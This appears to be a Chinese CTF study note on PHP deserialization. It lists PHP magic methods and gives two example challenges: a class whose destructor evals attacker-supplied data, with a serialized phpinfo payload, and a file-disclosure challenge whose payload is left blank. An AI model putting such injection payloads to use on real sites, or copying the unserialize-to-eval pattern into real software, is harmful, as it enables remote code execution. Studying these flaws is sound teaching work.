魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct():构造函数,此函数会在创建一个类的实例时自动调用。

__destruct():析构函数,此函数会在对象的所有引用都被删除或者类被销毁的时候自动调用。

__sleep():执行serialize()函数之前,会检查类中是否存在_sleep()方法。如果存在,该方法会先被调用。

__wakeup():执行unserialize()函数之前,会检查类中是否存在_wakeup()方法。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。

__toString():当一个对象被当作一个字符串使用时被调用。例如echo $obj或者拼接字符串时;此方法必须返回一个字符串,否则会产生 E_RECOVERABLE_ERROR 级别的错误。 # 这里echo反序列后的变量也会被调用

__get():在读取不可访问的属性值的时候,此魔法函数会自动调用。

__call():在调用未定义的方法时被调用。

例题

__destruct调用

执行反序列后自动会调用该函数

1
2
3
4
5
6
7
8
9
<?php
class Example {
var $var = "";
function __destruct() {
eval($this->var);
}
}
unserialize($_GET["saved_code"]);
?>

payload

?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

__construct调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->

payload

``